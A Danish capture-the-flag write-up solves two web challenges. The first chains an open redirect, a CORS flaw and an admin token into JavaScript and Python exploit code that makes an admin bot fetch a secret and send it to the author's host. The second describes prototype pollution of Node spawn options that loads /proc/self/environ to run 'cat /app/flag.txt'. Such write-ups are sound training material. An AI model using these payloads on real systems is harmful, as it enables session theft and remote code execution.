<p><strong>Løsning:</strong> En Flask/Gunicorn web-app. Challenget handler om at chaine tre bugs for at stjæle et flag fra admin-panelet via en admin bot. Jeg prøvede det klassiske, SQLi, SSTI, stored XSS, path traversal, intet. Det interssante er <code>/tips</code>-siden, der har en formular til at sende URLs til admin-bot&rsquo;en, med en HTML-kommentar der afslører at serveren prepender <code>https://localhost/</code> til vores input.</p>
<p><strong>Bug 1, Open Redirect:</strong> <code>GET /cookie_check?next=&lt;url&gt;</code> redirecter til <code>next</code> uden validering, hvis <code>cookie_consent=yes</code> er sat som cookie. Admin-bot&rsquo;en har den cookie, så man kan sende den derhen man vil:</p>
<pre tabindex="0"><code>/cookie_check?next=https://10.0.240.248:9443/exploit.html
</code></pre><p><strong>Bug 2, CORS misconfiguration:</strong> Serveren reflekterer <code>Origin</code>-headeren direkte i <code>Access-Control-Allow-Origin</code> + <code>Access-Control-Allow-Credentials: true</code>, på alle endpoints, inkl. <code>/admin</code>. Det betyder at JavaScript fra <em>en hvilken som helst</em> origin kan lave credentialed <code>fetch()</code> til <code>https://localhost</code> og læse svaret.</p>
<p><strong>Bug 3, One-time admin token:</strong> <code>/admin</code> viser et token der er gyldigt i 5 sekunder. Et POST til <code>/retrieve_flag</code> med det token returnerer flaget.</p>
<p>Admin-bot&rsquo;en tilgår appen som <code>localhost</code> internt, session-cookies er sat til <code>localhost</code>, ikke <code>corsica.cfire</code>. Jeg opsatte en HTTPS-server med self-signed cert (HeadlessChrome ignorer det) og serverede en exploit-side der:</p>
<ol>
<li>fetcher <code>https://localhost/admin</code> med <code>credentials: &quot;include&quot;</code>, CORS tillader det og admin-cookies sendes med</li>
<li>parser tokenet ud af HTML&rsquo;en med regex</li>
<li>POSTer til <code>https://localhost/retrieve_flag</code> med tokenet inden for 5 sekunder</li>
<li>exfiltrerer flag-HTML&rsquo;en via open redirect til vores HTTP-server (window.location bruger redirectet som tunnel, direkte fetch til HTTP ville blive blokeret som mixed-content)</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">adminHtml</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">&#34;https://localhost/admin&#34;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">credentials</span><span class="o">:</span> <span class="s2">&#34;include&#34;</span> <span class="p">}).</span><span class="nx">then</span><span class="p">(</span><span class="nx">r</span> <span class="p">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">text</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">token</span> <span class="o">=</span> <span class="nx">adminHtml</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/name=&#34;token&#34;\s+value=&#34;([^&#34;]+)&#34;/</span><span class="p">)[</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">flagHtml</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">&#34;https://localhost/retrieve_flag&#34;</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">method</span><span class="o">:</span> <span class="s2">&#34;POST&#34;</span><span class="p">,</span> <span class="nx">credentials</span><span class="o">:</span> <span class="s2">&#34;include&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">headers</span><span class="o">:</span> <span class="p">{</span> <span class="s2">&#34;Content-Type&#34;</span><span class="o">:</span> <span class="s2">&#34;application/x-www-form-urlencoded&#34;</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nx">body</span><span class="o">:</span> <span class="s2">&#34;token=&#34;</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">token</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}).</span><span class="nx">then</span><span class="p">(</span><span class="nx">r</span> <span class="p">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">text</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">b64</span> <span class="o">=</span> <span class="nx">btoa</span><span class="p">(</span><span class="nx">unescape</span><span class="p">(</span><span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">flagHtml</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="s2">&#34;https://localhost/cookie_check?next=http://10.0.240.248:9999/flag?d=&#34;</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">b64</span><span class="p">);</span>
</span></span></code></pre></div><p>Triggeret ved at sende bot&rsquo;en til <code>/cookie_check?next=https://10.0.240.248:9443/exploit.html</code>. Open redirect bruges altså to gange, først til at levere exploitet, dernæst som exfiltrations-tunnel.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span><span class="o">,</span> <span class="nn">urllib3</span><span class="o">,</span> <span class="nn">time</span><span class="o">,</span> <span class="nn">re</span><span class="o">,</span> <span class="nn">html</span><span class="o">,</span> <span class="nn">os</span><span class="o">,</span> <span class="nn">base64</span><span class="o">,</span> <span class="nn">json</span><span class="o">,</span> <span class="nn">subprocess</span><span class="o">,</span> <span class="nn">ssl</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">http.server</span><span class="o">,</span> <span class="nn">threading</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">urlparse</span><span class="p">,</span> <span class="n">parse_qs</span><span class="p">,</span> <span class="n">unquote</span><span class="p">,</span> <span class="n">quote</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">urllib3</span><span class="o">.</span><span class="n">disable_warnings</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">TARGET</span>  <span class="o">=</span> <span class="s2">&#34;https://corsica.cfire&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">OUR_IP</span>  <span class="o">=</span> <span class="s2">&#34;10.0.240.248&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">HTTP_PORT</span> <span class="o">=</span> <span class="mi">9999</span>
</span></span><span class="line"><span class="cl"><span class="n">HTTPS_PORT</span> <span class="o">=</span> <span class="mi">9443</span>
</span></span><span class="line"><span class="cl"><span class="n">OUR_UUID</span> <span class="o">=</span> <span class="s2">&#34;c103c4dd71d14d548b26b06a89bddd6d&#34;</span> <span class="c1">#make a account</span>
</span></span><span class="line"><span class="cl"><span class="n">SESSION</span> <span class="o">=</span> <span class="s2">&#34;eyJ1c2VybmFtZSI6InRlc3R1c2VyMTIzIn0.aaio0A.bpirzQCXbooQ0WWHEb4_RMt7ht0&#34;</span> <span class="c1">#make a account</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">EXPLOIT_HTML</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;exploit.html&#34;</span><span class="p">,</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">received</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Handler</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">server</span><span class="o">.</span><span class="n">BaseHTTPRequestHandler</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">do_GET</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">parsed</span> <span class="o">=</span> <span class="n">urlparse</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">params</span> <span class="o">=</span> <span class="n">parse_qs</span><span class="p">(</span><span class="n">parsed</span><span class="o">.</span><span class="n">query</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">info</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;path&#34;</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">path</span><span class="p">,</span> <span class="s2">&#34;from&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">client_address</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;ua&#34;</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">headers</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;User-Agent&#34;</span><span class="p">,</span><span class="s2">&#34;&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;cookie&#34;</span><span class="p">:</span> <span class="bp">self</span><span class="o">.</span><span class="n">headers</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;Cookie&#34;</span><span class="p">,</span><span class="s2">&#34;&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">received</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">info</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="se">\n</span><span class="si">{</span><span class="s1">&#39;=&#39;</span><span class="o">*</span><span class="mi">50</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[HIT] </span><span class="si">{</span><span class="bp">self</span><span class="o">.</span><span class="n">path</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  UA: </span><span class="si">{</span><span class="n">info</span><span class="p">[</span><span class="s1">&#39;ua&#39;</span><span class="p">][:</span><span class="mi">80</span><span class="p">]</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  Cookie header: </span><span class="si">{</span><span class="n">info</span><span class="p">[</span><span class="s1">&#39;cookie&#39;</span><span class="p">][:</span><span class="mi">200</span><span class="p">]</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">parsed</span><span class="o">.</span><span class="n">path</span> <span class="o">==</span> <span class="s2">&#34;/flag&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="s2">&#34;d&#34;</span> <span class="ow">in</span> <span class="n">params</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="n">decoded</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">params</span><span class="p">[</span><span class="s2">&#34;d&#34;</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s2">&#34;==&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s2">&#34;replace&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="se">\n</span><span class="si">{</span><span class="s1">&#39;!&#39;</span><span class="o">*</span><span class="mi">50</span><span class="si">}</span><span class="se">\n</span><span class="s2">🚩 FLAG DATA!</span><span class="se">\n</span><span class="si">{</span><span class="s1">&#39;!&#39;</span><span class="o">*</span><span class="mi">50</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="n">flags</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;DDC\{[^}]+\}|flag\{[^}]+\}|CTF\{[^}]+\}&#39;</span><span class="p">,</span> <span class="n">decoded</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">I</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="k">if</span> <span class="n">flags</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;FLAG: </span><span class="si">{</span><span class="n">flags</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="n">decoded</span><span class="p">[:</span><span class="mi">3000</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">                    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;/tmp/flag_data2.html&#34;</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                        <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">decoded</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Decode error: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s2">, raw: </span><span class="si">{</span><span class="n">params</span><span class="p">[</span><span class="s1">&#39;d&#39;</span><span class="p">][</span><span class="mi">0</span><span class="p">][:</span><span class="mi">200</span><span class="p">]</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">);</span> <span class="bp">self</span><span class="o">.</span><span class="n">end_headers</span><span class="p">();</span> <span class="bp">self</span><span class="o">.</span><span class="n">wfile</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;ok&#34;</span><span class="p">);</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">parsed</span><span class="o">.</span><span class="n">path</span> <span class="o">==</span> <span class="s2">&#34;/error&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">err</span> <span class="o">=</span> <span class="n">unquote</span><span class="p">(</span><span class="n">params</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;e&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;&#34;</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  [!] JS ERROR: </span><span class="si">{</span><span class="n">err</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">);</span> <span class="bp">self</span><span class="o">.</span><span class="n">end_headers</span><span class="p">();</span> <span class="bp">self</span><span class="o">.</span><span class="n">wfile</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;ok&#34;</span><span class="p">);</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">parsed</span><span class="o">.</span><span class="n">path</span> <span class="o">==</span> <span class="s2">&#34;/exploit.html&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">send_header</span><span class="p">(</span><span class="s2">&#34;Content-Type&#34;</span><span class="p">,</span> <span class="s2">&#34;text/html&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">send_header</span><span class="p">(</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">EXPLOIT_HTML</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">end_headers</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">wfile</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">EXPLOIT_HTML</span><span class="p">);</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">);</span> <span class="bp">self</span><span class="o">.</span><span class="n">end_headers</span><span class="p">();</span> <span class="bp">self</span><span class="o">.</span><span class="n">wfile</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;ok&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">log_message</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">):</span> <span class="k">pass</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;openssl req -x509 -newkey rsa:2048 -keyout /tmp/ctf_key.pem -out /tmp/ctf_cert.pem &#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;-days 1 -nodes -subj &#39;/CN=10.0.240.248&#39; &#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;-addext &#39;subjectAltName=IP:10.0.240.248&#39; 2&gt;/dev/null&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ctx</span> <span class="o">=</span> <span class="n">ssl</span><span class="o">.</span><span class="n">SSLContext</span><span class="p">(</span><span class="n">ssl</span><span class="o">.</span><span class="n">PROTOCOL_TLS_SERVER</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">ctx</span><span class="o">.</span><span class="n">load_cert_chain</span><span class="p">(</span><span class="s2">&#34;/tmp/ctf_cert.pem&#34;</span><span class="p">,</span> <span class="s2">&#34;/tmp/ctf_key.pem&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">https_server</span> <span class="o">=</span> <span class="n">http</span><span class="o">.</span><span class="n">server</span><span class="o">.</span><span class="n">HTTPServer</span><span class="p">((</span><span class="s2">&#34;0.0.0.0&#34;</span><span class="p">,</span> <span class="n">HTTPS_PORT</span><span class="p">),</span> <span class="n">Handler</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">https_server</span><span class="o">.</span><span class="n">socket</span> <span class="o">=</span> <span class="n">ctx</span><span class="o">.</span><span class="n">wrap_socket</span><span class="p">(</span><span class="n">https_server</span><span class="o">.</span><span class="n">socket</span><span class="p">,</span> <span class="n">server_side</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">t_https</span> <span class="o">=</span> <span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">https_server</span><span class="o">.</span><span class="n">serve_forever</span><span class="p">,</span> <span class="n">daemon</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">t_https</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">verify</span> <span class="o">=</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">cookies</span><span class="o">.</span><span class="n">set</span><span class="p">(</span><span class="s2">&#34;session&#34;</span><span class="p">,</span> <span class="n">SESSION</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">cookies</span><span class="o">.</span><span class="n">set</span><span class="p">(</span><span class="s2">&#34;cookie_consent&#34;</span><span class="p">,</span> <span class="s2">&#34;yes&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="s2">&#34;/tmp/flag_data.html&#34;</span><span class="p">)</span> <span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="s2">&#34;/tmp/flag_data.html&#34;</span><span class="p">)</span> <span class="k">else</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">TARGET</span><span class="si">}</span><span class="s2">/profile/</span><span class="si">{</span><span class="n">OUR_UUID</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;bio&#34;</span><span class="p">:</span> <span class="s2">&#34;WAITING_FOR_HTTPS_EXPLOIT&#34;</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="n">exploit_url</span>   <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://</span><span class="si">{</span><span class="n">OUR_IP</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">HTTPS_PORT</span><span class="si">}</span><span class="s2">/exploit.html&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">redirect_path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;/cookie_check?next=</span><span class="si">{</span><span class="n">exploit_url</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">ok</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">TARGET</span><span class="si">}</span><span class="s2">/request_admin&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;target_url&#34;</span><span class="p">:</span> <span class="n">redirect_path</span><span class="p">,</span> <span class="s2">&#34;desc&#34;</span><span class="p">:</span> <span class="s2">&#34;check this&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">            <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">15</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">received</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;  </span><span class="si">{</span><span class="n">r</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r2</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">TARGET</span><span class="si">}</span><span class="s2">/profile/</span><span class="si">{</span><span class="n">OUR_UUID</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">bio</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;&lt;textarea[^&gt;]*&gt;(.*?)&lt;/textarea&gt;&#39;</span><span class="p">,</span> <span class="n">r2</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">DOTALL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">bio</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">bio_content</span> <span class="o">=</span> <span class="n">html</span><span class="o">.</span><span class="n">unescape</span><span class="p">(</span><span class="n">bio</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">flags</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;DDC\{[^}]+\}|flag\{[^}]+\}|CTF\{[^}]+\}&#39;</span><span class="p">,</span> <span class="n">bio_content</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">I</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">flags</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;FLAG: </span><span class="si">{</span><span class="n">flags</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">fname</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">&#34;/tmp/flag_data.html&#34;</span><span class="p">,</span> <span class="s2">&#34;/tmp/flag_data2.html&#34;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="n">fname</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">fname</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">fc</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="n">flags</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;DDC\{[^}]+\}|flag\{[^}]+\}|CTF\{[^}]+\}&#39;</span><span class="p">,</span> <span class="n">fc</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">I</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">flags</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;🚩 FLAG: </span><span class="si">{</span><span class="n">flags</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>DDC{c0rsic4_w3lcomes_y0u_w1th_0pen_arms}</code></p>
<hr>
<h2 id="backup">Backup</h2>
<p>I&rsquo;m just a simple backup service.</p>
<p>Vedhæftet fil: <a href="/ddc_fasttrack_2026/web/web_backup.zip">web_backup.zip</a></p>
<p><strong>Løsning:</strong> Vi får en Node.js service der tager en JSON-config, merger den med defaults og til sidst kører <code>spawn(&quot;echo&quot;, [&quot;System OK&quot;])</code>.</p>
<p>Merge-funktionen blokerer <code>__proto__</code>, men ikke <code>constructor.prototype</code>. Derfor kan jeg prototype pollute <code>Object.prototype</code> via user input.</p>
<p><code>spawn</code>-options indeholder kun <code>{stdio, timeout}</code>, så felter som <code>shell</code> og <code>env</code> bliver slået op via prototype-chainen. Jeg sætter derfor:</p>
<ul>
<li><code>shell = &quot;/proc/self/exe&quot;</code></li>
<li><code>env.NODE_OPTIONS = &quot;--require /proc/self/environ&quot;</code></li>
</ul>
<p>Det gør at processen i praksis kører:</p>
<pre tabindex="0"><code>node --check &#34;echo System OK&#34;
</code></pre><p>men med en <code>--require</code> først.</p>
<p>Jeg kan ikke skrive filer, så i stedet loader jeg <code>/proc/self/environ</code>. Den indeholder environment variables (<code>KEY=value\0...</code>). Hvis første variabel er JavaScript payload der slutter med <code>//</code>, bliver resten af filen kommenteret ud, fordi NUL ikke er en JS line terminator.</p>
<p>Payloaden eksekverer så <code>cat /app/flag.txt</code> og sender flaget ud.</p>
